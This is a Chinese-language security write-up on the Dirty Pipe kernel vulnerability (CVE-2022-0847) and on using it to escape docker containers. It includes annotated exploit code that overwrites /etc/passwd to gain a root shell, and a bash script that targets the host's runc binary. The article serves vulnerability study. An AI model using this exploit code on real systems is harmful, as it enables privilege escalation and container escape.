從臟管道(CVE-2022-0847)到docker逃逸
本文轉自先知社區:https://xz.aliyun.com/t/12055
作者:happi0
本文主要分析了CVE-2022-0847的原理和由于其獨特的利用條件造成的關于docker逃逸的利用思路
漏洞環境
內核源碼
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
編譯
make x86_64_defconfig # 加載默認configmake menuconfig # 自定義config
編譯選項
添加調試信息, 需要以下幾行
[*] Compile the kernel with debug info [*] Generate dwarf4 debuginfo [*] Provide GDB scripts for kernel debugging
文件系統
sudo mkfs.ext4 -F stretch.img
共享文件夾與命令
上文制作的文件系統只有最基本的命令,在主機上下載靜態編譯的busybox和poc放到share目錄下,方便在虛擬機中使用
在下文qemu的啟動命令的-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share是將主機的share目錄掛載到虛擬機上,我這里的環境是在虛擬機的/dev/sdb1上,進入虛擬機后使用使用mount命令將share文件夾掛載即可
host: mkdir share wget bin.n0p.me/x64/busybox mv busybox share vir: mkdir /share mount /dev/sdb1 /share
由于本虛擬機是只有很基本的環境,在調試漏洞之前還需要做一些操作, 創建/etc/passwd, 修改權限等
cat /share/passwd > /etc/passwd()chmod 777 /tmptouch /tmp/passwd.bakchmod 777 /tmp/passwd.bak
qemu
啟動虛擬機
一個小坑, 由于我的主機是arch, qemu的依賴被破壞了,需要手動安裝低版本libbpf, 用pacman -Udd強制安裝即可

sudo qemu-system-x86_64 \ -s \ -m 2G \ -smp 2 \ -kernel ./arch/x86/boot/bzImage \ -append "console=ttyS0 earlyprintk=serial"\ -hda ./stretch.img \ -hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \ -nographic \ -initrd initramfs.img \ -pidfile vm.pid \ 2>&1 | tee vm.log

漏洞原理
在調試之前首先根據補丁來簡單了解一下漏洞造成的原因。
補丁中給copy_page_to_iter_pipe()和push_pipe()添加了buf->flags的初始化為0。

這里需要了解一些前置知識,有三篇寫的很詳細的文章
- CVE-2022-0847 dirtypipe linux本地提權全網第二詳細漏洞分析
- Linux 內核 DirtyPipe 任意只讀文件覆寫漏洞(CVE-2022-0847)分析
- Linux 內核提權 DirtyPipe(CVE-2022-0847) 漏洞分析
不過由于本文重點不在這里,這里只簡單說一下我自己的理解。
- 管道(
pipe)是linux中進程中通信的主要手段,它被設計為一個可以循環使用的環形數據結構,通常只有16個page(每個page大小通常為4k),為了節省空間,如果單次沒有寫滿一個page大小,pipe buffer會有一個PIPE_BUF_FLAG_CAN_MERGE屬性(其值為0x10),用來標識該頁面沒有寫滿。當該屬性存在時,下次pipe_write()會繼續向同一個page寫入數據。 splice()將包含文件的page鏈接到pipe時copy_page_to_iter_pipe()和push_pipe()函數沒有對buf->flag初始化,也就是說,如果該page的PIPE_BUF_FLAG_CAN_MERGE屬性為真的話,會繼續向該page寫入內容,造成非法寫入。
Exp分析
根據exp分析漏洞利用的細節,刪除了部分檢測利用條件、備份密碼等漏洞利用不相關代碼。
static void prepare_pipe(int p[2]){ if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } // 將所有管道填滿,使其具有PIPE_BUF_FLAG_CAN_MERGE屬性
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } // 讀取所有管道的內容,即清空管道
}
int main() { const char *const path = "/etc/passwd";
... // 備份/etc/passwd ... loff_t offset = 4; // 略過"root"字符,這樣構造也是因為漏洞利用的條件包含必須有大于1的偏移 const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 密碼的哈希散列
const int fd = open(path, O_RDONLY); if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } // 以只讀權限打開特權文件
... // 一些漏洞利用條件檢查
int p[2]; prepare_pipe(p); // 使得創建的管道具有PIPE_BUF_FLAG_CAN_MERGE屬性,為漏洞利用做準備
--offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // 將file page和pipe buf關聯起來 // 由于PIPE_BUF_FLAG_CAN_MERGE屬性的存在,不會創建新的pipe_buffer, 數據會直接寫進file page中
nbytes = write(p[1], data, data_size); // 寫入數據
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \"" "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";" "cp /tmp/passwd.bak /etc/passwd;" "echo \\\"Done! Popping shell... (run commands now)\\\";" "/bin/sh;" "\" root"}; execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n"); return EXIT_SUCCESS; // 彈出shell}
從上面可以看出EXP主要可以分為四步
- 備份密碼
- 使管道具有
PIPE_BUF_FLAG_CAN_MERGE具有屬性,EXP中使用的是填滿再清空的方法 - 用splice將file page和pipe 關聯起來
- 將數據寫入管道
動態跟蹤
使管道具有PIPE_BUF_FLAG_CAN_MERGE具有屬性
使管道具有PIPE_BUF_FLAG_CAN_MERGE具有屬性的關鍵點在pipe_write函數中,已略去部分無關代碼
pipe_write(struct kiocb *iocb, struct iov_iter *from){ struct file *filp = iocb->ki_filp; struct pipe_inode_info *pipe = filp->private_data; unsigned int head; ssize_t ret = 0; size_t total_len = iov_iter_count(from); ssize_t chars; bool was_empty = false; bool wake_next_writer = false;
... if (!pipe->readers) { // 沒有讀端直接返回 send_sig(SIGPIPE, current, 0); ret = -EPIPE; goto out; } ...
head = pipe->head; was_empty = pipe_empty(head, pipe->tail); // 判斷管道頭尾指針是否相等,如果相等則管道為空。 chars = total_len & (PAGE_SIZE-1); // 判斷需要寫入的數據的大小,chars為余數 if (chars && !was_empty) { // 頁幀不為空且chars不為空,則從最后一頁接著寫 // 在exp前部分中,每次向pipe中寫入的數據大小為頁幀的整數倍,所以chars總為空 unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { // 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表當前頁是可融合的 // 且已有內容 + 剩余內容 < 頁幀大小,則直接將剩余內容寫入當前頁 ret = pipe_buf_confirm(pipe, buf); if (ret) goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from); if (unlikely(ret < chars)) { ret = -EFAULT; goto out; }
buf->len += ret; if (!iov_iter_count(from)) goto out; } }
for (;;) { // 這里是最后一頁無法接著寫的情況 if (!pipe->readers) { // 如果pipe的讀者數量為0,則發送信號,直到有讀者。 send_sig(SIGPIPE, current, 0); if (!ret) ret = -EPIPE; break; }
head = pipe->head; if (!pipe_full(head, pipe->tail, pipe->max_usage)) { unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[head & mask]; struct page *page = pipe->tmp_page; int copied;
if (!page) { // 如果緩存頁為空,則新分配的page page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); if (unlikely(!page)) { ret = ret ? : -ENOMEM; break; } pipe->tmp_page = page; }
spin_lock_irq(&pipe->rd_wait.lock); head = pipe->head; if (pipe_full(head, pipe->tail, pipe->max_usage)) { spin_unlock_irq(&pipe->rd_wait.lock); continue; }
pipe->head = head + 1; spin_unlock_irq(&pipe->rd_wait.lock);
buf = &pipe->bu fs[head & mask]; buf->page = page; // 把新申請的頁放入頁數組中 buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = 0; if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 設置flag, 默認為PIPE_BUF_FLAG_CAN_MERGE, 即可融合的頁 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10 pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) { if (!ret) ret = -EFAULT; break; } ret += copied; buf->offset = 0; buf->len = copied;
if (!iov_iter_count(from)) break; }
...
__pipe_unlock(pipe); if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe)); __pipe_lock(pipe); was_empty = pipe_empty(pipe->head, pipe->tail); wake_next_writer = true; }out: if (pipe_full(pipe->head, pipe->tail, pipe->max_usage)) wake_next_writer = false; __pipe_unlock(pipe);
if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } if (wake_next_writer) wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM); if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) { int err = file_update_time(filp); if (err) ret = err; sb_end_write(file_inode(filp)->i_sb); } return ret;}
在EXP中的prepare_pipe()函數中,首先將管道填滿,并且每次寫入的數據大小為4k
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
導致chars = total_len & (PAGE_SIZE-1);每次都為零, 所以不會進入第一個if中
if (chars && !was_empty) {

由于不斷的寫,導致需要申請新的頁, 并且新的頁的flag為PIPE_BUF_FLAG_CAN_MERGE, 并直接被放入了頁數組中

if (!page) { // 如果緩存頁為空,則新分配的page ... buf->page = page; // 把新申請的頁放入頁數組中 ... buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 設置flag, 默認為PIPE_BUF_FLAG_CAN_MERGE, 即可融合的頁 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10

重復15次,把所有的pipe buffer的flags都置為0x10

用splice將file page和pipe 關聯起來
首先在copy_page_to_iter_pipe中停下,保存page的地址

繼續到pipe_write停下, 由于這次不是4k的整數倍,于是chars不為0,進入到漏洞分支

打印出即將寫入的page, 和我們保存的page一樣,已經即將把數據寫入

漏洞效果
由于虛擬機只有最基本的環境,所以su, id這類命令都需要上文下載的靜態編譯的busybox實現

可以看到,低權限用戶也可以對高權限文件改寫
利用條件與限制
利用條件
- 有可讀權限或者可以傳回文件的文件描述符
- 有漏洞的內核
利用的限制
- 第一個字節不可修改,并且單次寫入不能大于4k
- 只能單純覆蓋,不能調整文件大小
- 由于漏洞基于內存頁,所以不會對磁盤有影響
與docker的關系
由于docker和宿主機是共享內核,盡管其他進程資源是隔離開的,內核洞也很可能會docker容器造成安全問題.
對于容器的影響
由于docker本質上是由一組互相重疊的層組層的,容器引擎將其合并到一起,原本這些層都是只讀的,但由于臟管道漏洞的影響,我們可以在u1容器修改/etc/passwd使得u2容器的/etc/passwd被修改

利用CAP_DAC_READ_SEARCH實現容器逃逸
通過利用CAP_DAC_READ_SEARCH與臟管道可以實現覆蓋主機文件, 該攻擊手段可以在github看到詳細過程
實際上主要是CAP_DAC_READ_SEARCH可以調用open_by_handle_at, 可以獲得主機文件的文件描述符,配合臟管道于是就可以修改主機文件

這種攻擊方式非常簡單,核心就是獲得文件的文件描述符即可
通過runc實現容器逃逸
一個容器開啟時,可以分為以下三步
- fork創建子進程
- 初始化容器化環境
- 將執行流重定向到用戶提供的入口點
對于第三步,以大名鼎鼎的CVE-2019-5736為例,當重定向入口點時,容器內的/proc/self/exec與主機的runc二進制文件相關聯
因此可以通過在容器內寫入該文件描述符實現容器逃逸
對于CVE-2019-5736的修復

由于篇幅原因這里不跟進CVE-2019-5736的修復的具體代碼,直接看git commit了解修復邏輯
可以看到修復邏輯是克隆/proc/self/exec避免容器內部直接獲取runC
然而很快開發者修改了修復邏輯

可以看到開發者認為克隆導致的內存開銷太大了,可能造成OOM或者其他問題,把修復邏輯改成了只讀掛載
這里聯想到上文總結的臟管道的利用條件和利用效果,發現剛好契合

這里的利用主要參考了鏈接
主機執行docker exec -it u1 /bin/sh后/usr/sbin/runc的哈希值變化了,且頭部被注入標識
利用思路也很簡單,修改CVE-2022-0847的exp,將需要注入的字節改為shellcode,這里我隨便改的標識
然后在容器內找到主機的runc的pid即可,可以參考以下的shell腳本
#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true ; dorunC_pid=""
while [ -z "$runC_pid" ] ; do runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}') done
/exp /proc/${runC_pid}/exedone
總結
由于docker容器和主機是共享內核的,且目前的runc是通過掛為只讀權限防止逃逸的,對于提權類內核洞來說,這兩個限制很容易被繞過,所以盡管容器逃逸類漏洞很少見,但提權類的內核漏洞很可能導致容器逃逸。